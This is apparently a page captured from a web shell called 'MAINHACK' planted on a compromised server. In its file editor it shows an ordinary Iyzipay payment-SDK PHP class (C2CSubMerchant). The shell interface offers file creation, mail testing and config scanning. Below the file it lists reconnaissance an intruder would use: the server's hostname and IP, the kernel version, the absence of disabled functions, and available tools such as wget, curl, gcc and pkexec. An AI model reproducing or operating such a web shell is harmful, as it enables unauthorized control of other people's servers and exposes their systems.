[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: C2CSubMerchant.php
<?php namespace Iyzipay\Model; use Iyzipay\Options; use Iyzipay\IyzipayResource; use Iyzipay\Model\Mapper\C2CSubMerchantMapper; use Iyzipay\Request\CreateC2CSubMerchantRequest; use Iyzipay\Request\VerifyC2CSubMerchantRequest; class C2CSubMerchant extends IyzipayResource { private string $name; private string $surname; private string $email; private string $gsmNumber; private string $tckNo; private string $birthDate; private string $address; private string $externalId; private string $txId; private string $smsVerificationCode; private static function mappedResult(string $rawResult): C2CSubMerchant { return C2CSubMerchantMapper::create($rawResult)->jsonDecode()->mapC2CSubMerchant(new C2CSubMerchant()); } public static function create(CreateC2CSubMerchantRequest $request, Options $options): C2CSubMerchant { $url = '/onboarding/settlement-to-balance/submerchant'; $rawResult = parent::httpClient()->post($options->getBaseUrl() . $url, parent::getHttpHeadersV2($url, $request, $options), $request->toJsonString()); return self::mappedResult($rawResult); } public static function verify(VerifyC2CSubMerchantRequest $request, Options $options): C2CSubMerchant { $url = '/onboarding/settlement-to-balance/submerchant/verify'; $rawResult = parent::httpClient()->post($options->getBaseUrl() . $url, parent::getHttpHeadersV2($url, $request, $options), $request->toJsonString()); return self::mappedResult($rawResult); } public function getName(): string { return $this->name; } public function setName(string $name): void { $this->name = $name; } public function getSurname(): string { return $this->surname; } public function setSurname(string $surname): void { $this->surname = $surname; } public function getEmail(): string { return $this->email; } public function setEmail(string $email): void { $this->email = $email; } public function getGsmNumber(): string { return $this->gsmNumber; } public function setGsmNumber(string $gsmNumber): void { $this->gsmNumber = $gsmNumber; } public function getTckNo(): string { return $this->tckNo; } public function setTckNo(string $tckNo): void { $this->tckNo = $tckNo; } public function getBirthDate(): string { return $this->birthDate; } public function setBirthDate(string $birthDate): void { $this->birthDate = $birthDate; } public function getAddress(): string { return $this->address; } public function setAddress(string $address): void { $this->address = $address; } public function getExternalId(): string { return $this->externalId; } public function setExternalId(string $externalId): void { $this->externalId = $externalId; } public function getTxId(): string { return $this->txId; } public function setTxId(string $txId): void { $this->txId = $txId; } public function getSmsVerificationCode(): string { return $this->smsVerificationCode; } public function setSmsVerificationCode(string $smsVerificationCode): void { $this->smsVerificationCode = $smsVerificationCode; } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002